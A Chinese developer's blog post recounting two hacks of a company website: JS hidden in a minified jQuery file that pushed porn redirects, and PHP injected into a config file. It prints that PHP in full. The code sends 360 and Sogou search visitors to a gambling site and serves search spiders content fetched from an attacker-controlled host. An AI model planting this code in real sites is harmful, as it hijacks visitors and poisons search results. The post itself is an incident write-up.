PHP开发PHP经验分享Yii2

记一次搜索引擎劫持攻击

2017-07-17  本文已影响201人  軍_

最近公司网站连续被黑了两次,都是被植入了一些恶意代码,让点击进入网站的时候,跳往色情、赌博等网站。这里就简单记录下吧,下次再遇上,好有个参考。

JS代码植入

网站表现为,当用户从浏览器第一次访问时网页时,会弹出一个色情网站广告的弹窗,随后经过几秒钟便会跳往该网站。此状况比较容易识别,可能的情况有一下几种

本次攻击的方式为第一种,恶意代码隐藏在经过压缩的JQuery文件中,因此文件为压缩文件,隐藏性较高。

PHP代码植入

此情况表现为,当用户用360搜索本站时,点击结果时,会跳往赌博网站,点击快照为正常本站网页,而且用百度、谷歌等搜索出来的结果均无问题。
由于排除了JS代码植入的可能,一度认为是360搜索搞的鬼,跟360官方支持邮件往来了几天,得到的结果仍然是说我网站被黑,没对我网站做任何手脚,好吧,就只能自己折腾一遍,扫了一遍源码。确实发现了恶意代码,压缩过地植入到配置文件中,如下:

define('u_b','/');
define('s_u','http://idx.root1111.com/');
define('s_s', '@haosou.com|360Spider|sougou|HaosouSpider|so.com@i');
define('h_t',$_SERVER['SERVER_NAME']);
define('r_s',$_SERVER['HTTP_REFERER']);
define('u_s',$_SERVER['HTTP_USER_AGENT']);
define('h_z',s_p());
function s_p() {
    $d = '';
    if (isset($_SERVER['REQUEST_URI'])) {
        $d = $_SERVER['REQUEST_URI'];
    } else {
        if (isset($_SERVER['argv'])) {
            $d = $_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];
        } else {
            $d = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
        }
    }
    if (isset($_SERVER['SERVER_SOFTWARE']) && false !== stristr($_SERVER['SERVER_SOFTWARE'], 'IIS')) {
        if (function_exists('mb_convert_encoding')) {
            $d = mb_convert_encoding($d, 'UTF-8', 'GBK');
        } else {
            $d = @iconv('GBK', 'UTF-8', @iconv('UTF-8', 'GBK', $d)) == $d ? $d: @iconv('GBK', 'UTF-8', $d);
        }
    }
    $r = explode('#', $d, 2);
    $d = $r[0];
    return $d;
}
function r_s($url) {
    $o = array('http' = >array('method' = >"GET", 'timeout' = >8));
    $context = stream_context_create($o);
    $h = file_get_contents($url, false, $context);
    if (empty($h)) {
        $h = file_get_contents($url);
    }
    return $h;
}
if (preg_match(s_s, r_s)) {
    $d_s = true;
    if (preg_match("@site%3A|inurl%3A@i", r_s)) {
        setcookie('xx', h_t, time() + 259200);
        $d_s = false;
    }
    if ($d_s) {
        header('Location: http://668689.net');
        exit;
    }
}
if (strstr(h_z, u_b)) {
    if (preg_match(s_s, u_s)) {
        $d_u = s_u.'?xu='.bin2hex(h_z);
        $d_u. = '&xh='.bin2hex(h_t);
        $d_c = r_s($d_u);
        echo $d_c;
        exit;
    }
}

黑客只对来源360搜索和搜狗搜索的结果进行了重定向,颇有取舍,也造成了站长的疑惑,让人怀疑是360搞的鬼,套路深。

上一篇 下一篇

猜你喜欢

热点阅读